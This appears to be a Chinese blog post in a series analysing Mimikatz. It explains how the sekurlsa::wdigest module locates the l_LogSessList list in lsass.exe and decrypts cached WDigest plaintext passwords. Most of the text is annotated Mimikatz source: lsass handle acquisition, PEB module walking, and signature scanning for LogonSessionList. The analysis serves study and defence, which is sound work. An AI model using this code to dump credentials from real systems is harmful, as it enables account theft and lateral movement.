Mimikatz Explorer - Sekurlsa::WDigest

在 Windows Server 2008 R2 之前,系统默认情况下会缓存 WDigest 凭据。在启用 WDigest 的情况下,用户进行交互式身份验证的域名、用户名和明文密码等信息会存储在 LSA 进程内存中,其中明文密...

在 Windows Server 2008 R2 之前,系统默认情况下会缓存 WDigest 凭据。在启用 WDigest 的情况下,用户进行交互式身份验证的域名、用户名和明文密码等信息会存储在 LSA 进程内存中,其中明文密码经过 WDigest 模块调用后,会对其使用对称加密算法进行加密。

类似于《Mimikatz Explorer - Sekurlsa MSV》中的 LogonSessionList 全局变量,在 wdigest.dll 模块中存在一个全局变量 l_LogSessList,用来存储上述的登录会话信息。同样的,该变量也是一个链表结构,我们可以使用 WinDbg 来遍历该链表,如下图所示。

  1. !list -x "dS @$extret" poi(wdigest!l_LogSessList)

这些表项对应的结构包含类似如下字段:

  1. typedef struct _KIWI_WDIGEST_LIST_ENTRY {
  2. struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
  3. struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
  4. ULONG UsageCount;
  5. struct _KIWI_WDIGEST_LIST_ENTRY *This;
  6. LUID LocallyUniqueIdentifier;
  7. } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;

在相对于该结构首部指定偏移量的位置,存在 3 个 LSA_UNICODE_STRING 字段,如下所示。Mimikatz 为这 3 个字段创建了一个新的数据结构 KIWI_GENERIC_PRIMARY_CREDENTIAL

  1. typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL {
  2. LSA_UNICODE_STRING UserName; // 用户名,偏移量:0x30, 48
  3. LSA_UNICODE_STRING Domaine; // 域名,偏移量:0x40, 64
  4. LSA_UNICODE_STRING Password; // 加密后的明文密码,偏移量:0x50, 80
  5. } KIWI_GENERIC_PRIMARY_CREDENTIAL, *PKIWI_GENERIC_PRIMARY_CREDENTIAL;

其中 UserName 的偏移量为 0x30,我们可以通过 WinDBG 遍历出所有的用户名,如下图所示。

image-20230122185714915

在偏移量为 0x40 处获取域名,如下图所示。

image-20230122185751079

为了能够在 l_LogSessList 中提取出用户明文密码,首先需要从 lsass.exe 进程中计算出加载的 wdigest.dll 模块的基地址,然后在该模块中定位该变量,最后从 l_LogSessList 中解密用户凭据。至于如何找这个变量,同样可以采用签名扫描的方法。Mimikatz 使用到的特征码如下:

  1. BYTE PTRN_WIN5_PasswdSet[] = {0x48, 0x3b, 0xda, 0x74};
  2. BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74};
  3. KULL_M_PATCH_GENERIC WDigestReferences[] = {
  4. {KULL_M_WIN_BUILD_XP, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 36}},
  5. {KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_WIN5_PasswdSet), PTRN_WIN5_PasswdSet}, {0, NULL}, {-4, 48}},
  6. {KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_WIN6_PasswdSet), PTRN_WIN6_PasswdSet}, {0, NULL}, {-4, 48}},

此外,用户的明文密码属于机密信息,因此也经过 LsaProtectMemory() 函数调用后进行对称加密,因此同样需要利用与《Mimikatz Explorer - Sekurlsa MSV》相同的方法获取加密密钥和初始化向量。

但是,我们仍需要从 lsasrv.dll 中枚举 LogonSessionList,并从中获取存在的登录 ID,对 l_LogSessList 中的 LocallyUniqueIdentifier 与获取到的 LogonSessionList 中的登录 ID 进行比较,从而准确获取会话凭据。

Beginning

Make Lsass Packages

根据 msv 功能的名称找到其入口函数 kuhl_m_sekurlsa_wdigest()

  • sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c
  1. NTSTATUS kuhl_m_sekurlsa_wdigest(int argc, wchar_t * argv[])
  2. {
  3. return kuhl_m_sekurlsa_getLogonData(kuhl_m_sekurlsa_wdigest_single_package, 1);
  4. }

kuhl_m_sekurlsa_msv_single_package 中包含了本模块所使用的 lsass 包:

  1. KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_wdigest_package = {L"wdigest", kuhl_m_sekurlsa_enum_logon_callback_wdigest, TRUE, L"wdigest.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}};

随后调用 kuhl_m_sekurlsa_getLogonData() 函数获取用户的登录信息。

Get Logon Data

跟进 kuhl_m_sekurlsa_getLogonData() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c
  1. NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages)
  2. {
  3. KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages};
  4. return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData);
  5. }

将传进来的 lsass 包组成 OptionalData 后传入 kuhl_m_sekurlsa_enum() 函数。

Main Enumeration Function

跟进 kuhl_m_sekurlsa_enum() 函数,该函数枚举包括 lsass.exe 进程、用户会话在内的相关信息。

  • sekurlsa\kuhl_m_sekurlsa.c
  1. NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData)
  2. {
  3. KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData;
  4. ULONG nbListes = 1, i;
  5. PVOID pStruct;
  6. KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  7. BOOL retCallback = TRUE;
  8. const KUHL_M_SEKURLSA_ENUM_HELPER * helper;
  9. // 调用 kuhl_m_sekurlsa_acquireLSA() 函数提取 lsass.exe 进程信息
  10. NTSTATUS status = kuhl_m_sekurlsa_acquireLSA();
  11. if(NT_SUCCESS(status))
  12. {
  13. sessionData.cLsass = &cLsass;
  14. sessionData.lsassLocalHelper = lsassLocalHelper;
  15. // 判断当前 Windows 系统的版本信息
  16. if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
  17. helper = &amp;lsassEnumHelpers[0];
  18. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
  19. helper = &amp;lsassEnumHelpers[1];
  20. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
  21. helper = &amp;lsassEnumHelpers[2];
  22. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
  23. helper = &amp;lsassEnumHelpers[3];
  24. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
  25. helper = &amp;lsassEnumHelpers[5];
  26. else
  27. helper = &amp;lsassEnumHelpers[6];
  28. if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) &amp;&amp; (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) &amp;&amp; (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000))
  29. helper++; // yeah, really, I do that =)
  30. securityStruct.hMemory = cLsass.hLsassMem;
  31. if(securityStruct.address = LogonSessionListCount)
  32. kull_m_memory_copy(&amp;data, &amp;securityStruct, sizeof(ULONG));
  33. for(i = 0; i < nbListes; i++)
  34. {
  35. securityStruct.address = &amp;LogonSessionList[i];
  36. data.address = &amp;pStruct;
  37. data.hMemory = &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
  38. if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
  39. {
  40. if(kull_m_memory_copy(&amp;data, &amp;securityStruct, sizeof(PVOID)))
  41. {
  42. data.address = pStruct;
  43. data.hMemory = securityStruct.hMemory;
  44. while((data.address != securityStruct.address) &amp;&amp; retCallback)
  45. {
  46. if(kull_m_memory_copy(&amp;aBuffer, &amp;data, helper->tailleStruct))
  47. {
  48. sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid);
  49. sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType));
  50. sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession));
  51. sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
  52. sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
  53. sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
  54. sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
  55. sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
  56. sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime));
  57. sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);
  58. kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
  59. kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
  60. kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem);
  61. kull_m_process_getSid(&amp;sessionData.pSid, cLsass.hLsassMem);
  62. retCallback = callback(&amp;sessionData, pOptionalData);
  63. if(sessionData.UserName->Buffer)
  64. LocalFree(sessionData.UserName->Buffer);
  65. if(sessionData.LogonDomain->Buffer)
  66. LocalFree(sessionData.LogonDomain->Buffer);
  67. if(sessionData.LogonServer->Buffer)
  68. LocalFree(sessionData.LogonServer->Buffer);
  69. if(sessionData.pSid)
  70. LocalFree(sessionData.pSid);
  71. data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
  72. }
  73. else break;
  74. }
  75. }
  76. LocalFree(aBuffer.address);
  77. }
  78. }
  79. }
  80. return status;
  81. }

kuhl_m_sekurlsa_enum() 内部首先会调用 kuhl_m_sekurlsa_acquireLSA() 函数,用来提取 lsass.exe 的进程信息。

Extract LSA Information

跟进 kuhl_m_sekurlsa_acquireLSA() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c
  1. NTSTATUS kuhl_m_sekurlsa_acquireLSA()
  2. {
  3. NTSTATUS status = STATUS_SUCCESS;
  4. KULL_M_MEMORY_TYPE Type;
  5. HANDLE hData = NULL;
  6. DWORD pid, cbSk;
  7. PMINIDUMP_SYSTEM_INFO pInfos;
  8. DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
  9. BOOL isError = FALSE;
  10. PBYTE pSk;
  11. //
  12. if(!cLsass.hLsassMem)
  13. {
  14. status = STATUS_NOT_FOUND;
  15. if(pMinidumpName)
  16. {
  17. // ...
  18. }
  19. else
  20. {
  21. Type = KULL_M_MEMORY_TYPE_PROCESS;
  22. // 获取 lsass.exe 进程的 PID
  23. if(kull_m_process_getProcessIdForName(L"lsass.exe", &amp;pid))
  24. // 打开 lsass.exe 进程的句柄
  25. hData = OpenProcess(processRights, FALSE, pid);
  26. else PRINT_ERROR(L"LSASS process not found (?)\n");
  27. }
  28. if(hData &amp;&amp; hData != INVALID_HANDLE_VALUE)
  29. {
  30. if(kull_m_memory_open(Type, hData, &amp;cLsass.hLsassMem))
  31. {
  32. if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
  33. {
  34. // ......
  35. }
  36. else
  37. {
  38. #if defined(_M_IX86)
  39. if(IsWow64Process(GetCurrentProcess(), &amp;isError) &amp;&amp; isError)
  40. PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n");
  41. else
  42. #endif
  43. {
  44. // 设置 KUHL_M_SEKURLSA_OS_CONTEXT(osContext)结构中的三个值
  45. cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
  46. cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
  47. cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
  48. }
  49. }
  50. if(!isError)
  51. {
  52. lsassLocalHelper =
  53. #if defined(_M_ARM64)
  54. &amp;lsassLocalHelpers[0]
  55. #else
  56. (cLsass.osContext.MajorVersion < 6) ? &amp;lsassLocalHelpers[0] : &amp;lsassLocalHelpers[1]
  57. #endif
  58. ;
  59. if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
  60. {
  61. // ...
  62. if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) &amp;&amp; kuhl_m_sekurlsa_msv_package.Module.isPresent)
  63. {
  64. kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
  65. if(kuhl_m_sekurlsa_utils_search(&amp;cLsass, &amp;kuhl_m_sekurlsa_msv_package.Module))
  66. {
  67. status = lsassLocalHelper->AcquireKeys(&amp;cLsass, &amp;lsassPackages[0]->Module.Informations);
  68. if(!NT_SUCCESS(status))
  69. PRINT_ERROR(L"Key import\n");
  70. }
  71. else PRINT_ERROR(L"Logon list\n");
  72. }
  73. else PRINT_ERROR(L"Modules informations\n");
  74. }
  75. else PRINT_ERROR(L"Local LSA library failed\n");
  76. }
  77. }
  78. else PRINT_ERROR(L"Memory opening\n");
  79. if(!NT_SUCCESS(status))
  80. CloseHandle(hData);
  81. }
  82. else PRINT_ERROR_AUTO(L"Handle on memory");
  83. if(!NT_SUCCESS(status))
  84. cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
  85. }
  86. return status;
  87. }

kuhl_m_sekurlsa_acquireLSA() 中首先通过 kull_m_process_getProcessIdForNameOpenProcess 两个函数获取 lsass.exe 进程的 PID,并创建一个该进程的句柄 hData。然后调用 kull_m_memory_open() 函数,该函数将打开的进程句柄保存到 cLsass.hLsassMem.pHandleProcess->hProcess 中。

接着,将有关系统版本的信息复制到 cLsass.osContext 中:

  1. // 设置 KUHL_M_SEKURLSA_OS_CONTEXT(osContext)结构中的三个值
  2. cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
  3. cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
  4. cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;

如果此时没有错误,则调用 kull_m_process_getVeryBasicModuleInformations() 函数获取 lsass.exe 进程的基础信息,主要用来获取加载的 wdigest.dll 模块的基地址。

Get Very Basic Module Informations

跟进 kull_m_process_getVeryBasicModuleInformations() 函数:

  • kull_m_process.c
  1. NTSTATUS kull_m_process_getVeryBasicModuleInformations(PKULL_M_MEMORY_HANDLE memory, PKULL_M_MODULE_ENUM_CALLBACK callBack, PVOID pvArg)
  2. {
  3. NTSTATUS status = STATUS_DLL_NOT_FOUND;
  4. PLDR_DATA_TABLE_ENTRY pLdrEntry;
  5. PEB Peb; PEB_LDR_DATA LdrData; LDR_DATA_TABLE_ENTRY LdrEntry;
  6. #if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
  7. // ...
  8. #endif
  9. ULONG i;
  10. KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  11. KULL_M_MEMORY_ADDRESS aProcess= {NULL, memory};
  12. PBYTE aLire, fin;
  13. PWCHAR moduleNameW;
  14. UNICODE_STRING moduleName;
  15. PMINIDUMP_MODULE_LIST pMinidumpModuleList;
  16. PMINIDUMP_STRING pMinidumpString;
  17. KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION moduleInformation;
  18. PRTL_PROCESS_MODULES modules = NULL;
  19. BOOL continueCallback = TRUE;
  20. moduleInformation.DllBase.hMemory = memory;
  21. switch(memory->type)
  22. {
  23. case KULL_M_MEMORY_TYPE_OWN:
  24. // ......
  25. case KULL_M_MEMORY_TYPE_PROCESS:
  26. moduleInformation.NameDontUseOutsideCallback = &amp;moduleName;
  27. // 获取进程的 PEB 结构
  28. if(kull_m_process_peb(memory, &amp;Peb, FALSE))
  29. {
  30. aBuffer.address = &amp;LdrData; aProcess.address = Peb.Ldr;
  31. // 将 Peb.Ldr 指向的 PEB_LDR_DATA 结构复制到 LdrData 中
  32. if(kull_m_memory_copy(&amp;aBuffer, &amp;aProcess, sizeof(LdrData)))
  33. {
  34. // 遍历所有 LDR_DATA_TABLE_ENTRY 结构
  35. for(
  36. aLire = (PBYTE) (LdrData.InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
  37. fin = (PBYTE) (Peb.Ldr) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector);
  38. (aLire != fin) &amp;&amp; continueCallback;
  39. aLire = (PBYTE) LdrEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
  40. )
  41. {
  42. // 将 aLire 指向的 LDR_DATA_TABLE_ENTRY 结构复制到 LdrEntry 中
  43. aBuffer.address = &amp;LdrEntry; aProcess.address = aLire;
  44. if(continueCallback = kull_m_memory_copy(&amp;aBuffer, &amp;aProcess, sizeof(LdrEntry)))
  45. {
  46. // 获取模块地址
  47. moduleInformation.DllBase.address = LdrEntry.DllBase;
  48. // 获取模块映像大小
  49. moduleInformation.SizeOfImage = LdrEntry.SizeOfImage;
  50. // 获取模块映像名称
  51. moduleName = LdrEntry.BaseDllName;
  52. // BaseDllName.Buffer 中保存了模块映像名称字符串
  53. if(moduleName.Buffer = (PWSTR) LocalAlloc(LPTR, moduleName.MaximumLength))
  54. {
  55. aBuffer.address = moduleName.Buffer; aProcess.address = LdrEntry.BaseDllName.Buffer;
  56. if(kull_m_memory_copy(&amp;aBuffer, &amp;aProcess, moduleName.MaximumLength))
  57. {
  58. kull_m_process_adjustTimeDateStamp(&amp;moduleInformation);
  59. continueCallback = callBack(&amp;moduleInformation, pvArg);
  60. }
  61. LocalFree(moduleName.Buffer);
  62. }
  63. }
  64. }
  65. status = STATUS_SUCCESS;
  66. }
  67. }
  68. // ...
  69. return status;
  70. }

kull_m_process_getVeryBasicModuleInformations() 函数内部,将调用 kull_m_process_peb() ,用于获取 lsass.exe 进程的 PEB 结构。

Get PEB Structure

跟进 kull_m_process_peb() 函数:

  • kull_m_process.c
  1. BOOL kull_m_process_peb(PKULL_M_MEMORY_HANDLE memory, PPEB pPeb, BOOL isWOW)
  2. {
  3. BOOL status = FALSE;
  4. PROCESS_BASIC_INFORMATION processInformations;
  5. HANDLE hProcess = (memory->type == KULL_M_MEMORY_TYPE_PROCESS) ? memory->pHandleProcess->hProcess : GetCurrentProcess();
  6. KULL_M_MEMORY_ADDRESS aBuffer = {pPeb, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  7. KULL_M_MEMORY_ADDRESS aProcess= {NULL, memory};
  8. PROCESSINFOCLASS info;
  9. ULONG szPeb, szBuffer, szInfos;
  10. LPVOID buffer;
  11. // ...
  12. switch(memory->type)
  13. {
  14. // ...
  15. case KULL_M_MEMORY_TYPE_PROCESS:
  16. // 通过 NtQueryInformationProcess 函数获取 lsass.exe 进程的信息,并将其写入 buffer 中
  17. if(NT_SUCCESS(NtQueryInformationProcess(hProcess, info, buffer, szBuffer, &amp;szInfos)) &amp;&amp; (szInfos == szBuffer) &amp;&amp; processInformations.PebBaseAddress)
  18. {
  19. aProcess.address = processInformations.PebBaseAddress;
  20. status = kull_m_memory_copy(&amp;aBuffer, &amp;aProcess, szPeb);
  21. }
  22. break;
  23. }
  24. return status;
  25. }

kull_m_process_peb() 函数通过 NtQueryInformationProcess() 函数检索 lsass.exe 进程的信息,检索到的信息最终将由 processInformations 接收,这是一个 PROCESS_BASIC_INFORMATION 结构体,其声明如下。

  1. typedef struct _PROCESS_BASIC_INFORMATION {
  2. NTSTATUS ExitStatus;
  3. PPEB PebBaseAddress;
  4. ULONG_PTR AffinityMask;
  5. KPRIORITY BasePriority;
  6. ULONG_PTR UniqueProcessId;
  7. ULONG_PTR InheritedFromUniqueProcessId;
  8. } PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;

其中 PebBaseAddress 是指向进程 PEB 结构的指针。

获取到 PebBaseAddress 后,将其赋给 aProcess.addressaProcessaBuffer 都是 KULL_M_MEMORY_ADDRESS 结构体,其声明如下。

  1. typedef struct _KULL_M_MEMORY_ADDRESS {
  2. LPVOID address;
  3. PKULL_M_MEMORY_HANDLE hMemory;
  4. } KULL_M_MEMORY_ADDRESS, *PKULL_M_MEMORY_ADDRESS;

接下来会调用 kull_m_memory_copy() 函数,通过 ReadProcessMemory() 函数将 aProcess.address 指向的 PEB 结构的内存读取到 aBuffer.address 指向的内存空间中,最终 pPeb 成为指向 PEB 结构的指针。

获取到 PEB 结构后,返回 kull_m_process_getVeryBasicModuleInformations() 函数。

Get Base Address Of lsasrv.dll & wdigest.dll Module

成功获取 PEB 结构后,回到 kull_m_process_getVeryBasicModuleInformations() 函数,通过 kull_m_memory_copy() 函数将 Peb.Ldr 指向的 PEB_LDR_DATA 结构复制到 LdrData 中。然后遍历所有 LDR_DATA_TABLE_ENTRY 结构,分别获取模块地址、映像大小和映像名称,并把它们保存到 moduleInformation 中,这是了一个 KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION 结构体,其声明如下,用于存储 wdigest.dll 模块的有关信息。

  1. typedef struct _KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION {
  2. KULL_M_MEMORY_ADDRESS DllBase; // 存储已加载模块的地址
  3. ULONG SizeOfImage; // 存储已加载模块的映像大小
  4. ULONG TimeDateStamp;
  5. PCUNICODE_STRING NameDontUseOutsideCallback; // 存储已加载模块的映像名称
  6. } KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION, *PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION;

最后进入回调函数,在这里 callBackkuhl_m_sekurlsa_findlibs() 函数,其定义如下。

  1. BOOL CALLBACK kuhl_m_sekurlsa_findlibs(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg)
  2. {
  3. ULONG i;
  4. for(i = 0; i < ARRAYSIZE(lsassPackages); i++)
  5. {
  6. if(_wcsicmp(lsassPackages[i]->ModuleName, pModuleInformation->NameDontUseOutsideCallback->Buffer) == 0)
  7. {
  8. lsassPackages[i]->Module.isPresent = TRUE;
  9. lsassPackages[i]->Module.Informations = *pModuleInformation;
  10. }
  11. }
  12. return TRUE;
  13. }

该函数通过将传进来的 pModuleInformation 中的模块名称与 lsassPackages 数组中定义的进程模块进行比对。如果相同,则将相应的 lsass 包中的 Module.isPresent 设为 TRUE 并将 pModuleInformation 保存到 lsass 包的 Module.Informations 中。

lsassPackages 数组中包含了整个 sekurlsa 模块用到的所有 lsass 包的信息,其定义如下:

  1. const PKUHL_M_SEKURLSA_PACKAGE lsassPackages[] = {
  2. &amp;kuhl_m_sekurlsa_msv_package,
  3. &amp;kuhl_m_sekurlsa_tspkg_package,
  4. &amp;kuhl_m_sekurlsa_wdigest_package,
  5. #if !defined(_M_ARM64)
  6. &amp;kuhl_m_sekurlsa_livessp_package,
  7. #endif
  8. &amp;kuhl_m_sekurlsa_kerberos_package,
  9. &amp;kuhl_m_sekurlsa_ssp_package,
  10. &amp;kuhl_m_sekurlsa_dpapi_svc_package,
  11. &amp;kuhl_m_sekurlsa_credman_package,
  12. &amp;kuhl_m_sekurlsa_kdcsvc_package,
  13. &amp;kuhl_m_sekurlsa_cloudap_package,
  14. };

通过 kuhl_m_sekurlsa_findlibs() 函数的循环比对,能够获取 sekurlsa 模块用到所有模块的地址,包括 lsasrv.dll 和 wdigest.dll 模块。

至此,成功获取 lsass.exe 进程中加载的 lsasrv.dll 和 wdigest.dll 模块的地址信息,kull_m_process_getVeryBasicModuleInformations() 函数调用结束。接下来,将通过 kuhl_m_sekurlsa_utils_search() 函数定位 LogonSessionListLogonSessionListCount 这两个全局变量。

Get LogonSessionList Variables

跟进 kuhl_m_sekurlsa_utils_search() 函数:

  • sekurlsa\kuhl_m_sekurlsa_utils.c
  1. PLIST_ENTRY LogonSessionList = NULL;
  2. PULONG LogonSessionListCount = NULL;
  3. BOOL kuhl_m_sekurlsa_utils_search(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib)
  4. {
  5. PVOID *pLogonSessionListCount = (cLsass->osContext.BuildNumber < KULL_M_WIN_BUILD_2K3) ? NULL : ((PVOID *) &amp;LogonSessionListCount);
  6. return kuhl_m_sekurlsa_utils_search_generic(cLsass, pLib, LsaSrvReferences, ARRAYSIZE(LsaSrvReferences), (PVOID *) &amp;LogonSessionList, pLogonSessionListCount, NULL, NULL);
  7. }

这里先定义了 LIST_ENTRY 结构的指针变量 LogonSessionList 以及 PULONG 类型的指针变量 LogonSessionListCount,然后将 cLsasspLibLsaSrvReferencesARRAYSIZE(LsaSrvReferences) 以及 &amp;LogonSessionListpLogonSessionListCount 传入 kuhl_m_sekurlsa_utils_search_generic() 函数。其中 pLib 为前面传入的 &amp;kuhl_m_sekurlsa_msv_package.ModuleLsaSrvReferences 是一个包含了各种系统版本的特征码的数组,每个成员都是一个 KULL_M_PATCH_GENERIC 结构体,其结构如下所示。

  1. typedef struct _KULL_M_PATCH_GENERIC {
  2. DWORD MinBuildNumber;
  3. KULL_M_PATCH_PATTERN Search; // 包含特征码
  4. KULL_M_PATCH_PATTERN Patch;
  5. KULL_M_PATCH_OFFSETS Offsets; // 保存 LogonSessionList 和 LogonSessionListCount 偏移量值的四个字节的偏移量
  6. } KULL_M_PATCH_GENERIC, *PKULL_M_PATCH_GENERIC;
  7. typedef struct _KULL_M_PATCH_PATTERN {
  8. DWORD Length;
  9. BYTE *Pattern;
  10. } KULL_M_PATCH_PATTERN, *PKULL_M_PATCH_PATTERN;

跟进 kuhl_m_sekurlsa_utils_search_generic() 函数:

  • sekurlsa\kuhl_m_sekurlsa_utils.c
  1. BOOL kuhl_m_sekurlsa_utils_search_generic(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PVOID * genericPtr, PVOID * genericPtr1, PVOID * genericPtr2, PLONG genericOffset1)
  2. {
  3. KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  4. KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL};
  5. PKULL_M_PATCH_GENERIC currentReference;
  6. #if defined(_M_X64)
  7. LONG offset;
  8. #endif
  9. // 根据 cLsass->osContext.BuildNumber 的版本号选择 LsaSrvReferences 中的特征码条目
  10. if(currentReference = kull_m_patch_getGenericFromBuild(generics, cbGenerics, cLsass->osContext.BuildNumber))
  11. {
  12. aLocalMemory.address = currentReference->Search.Pattern;
  13. if(kull_m_memory_search(&amp;aLocalMemory, currentReference->Search.Length, &amp;sMemory, FALSE))
  14. {
  15. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0; // optimize one day
  16. // ......
  17. #elif defined(_M_X64)
  18. aLocalMemory.address = &amp;offset;
  19. if(pLib->isInit = kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(LONG)))
  20. *genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
  21. #elif defined(_M_IX86)
  22. // ......
  23. #endif
  24. if(genericPtr1)
  25. {
  26. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1;
  27. #if defined(_M_ARM64)
  28. // ......
  29. #elif defined(_M_X64)
  30. aLocalMemory.address = &amp;offset;
  31. if(pLib->isInit = kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(LONG)))
  32. *genericPtr1 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
  33. #elif defined(_M_IX86)
  34. // ......
  35. #endif
  36. }
  37. if(genericPtr2)
  38. {
  39. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2;
  40. #if defined(_M_ARM64)
  41. // ......
  42. #elif defined(_M_X64)
  43. aLocalMemory.address = &amp;offset;
  44. if(pLib->isInit = kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(LONG)))
  45. *genericPtr2 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);
  46. #elif defined(_M_IX86)
  47. // ......
  48. #endif
  49. }
  50. }
  51. }
  52. return pLib->isInit;
  53. }

首先,kull_m_patch_getGenericFromBuild() 函数根据 cLsass->osContext.BuildNumber 中的版本号选择 LsaSrvReferences 中适用于当前系统版本的特征码条目。选出来的 currentReference->Search.Pattern 赋给 aLocalMemory.address 后,将 &amp;aLocalMemory 连同 &amp;sMemory 传入 kull_m_memory_search() 函数。其中 sMemory 是一个 KULL_M_MEMORY_SEARCH 结构体,用于临时保存 lsasrv.dll 模块的基地址和映像大小,其声明如下。

  1. typedef struct _KULL_M_MEMORY_SEARCH {
  2. KULL_M_MEMORY_RANGE kull_m_memoryRange;
  3. LPVOID result;
  4. } KULL_M_MEMORY_SEARCH, *PKULL_M_MEMORY_SEARCH;
  5. typedef struct _KULL_M_MEMORY_RANGE {
  6. KULL_M_MEMORY_ADDRESS kull_m_memoryAdress;
  7. SIZE_T size;
  8. } KULL_M_MEMORY_RANGE, *PKULL_M_MEMORY_RANGE;
  9. typedef struct _KULL_M_MEMORY_ADDRESS {
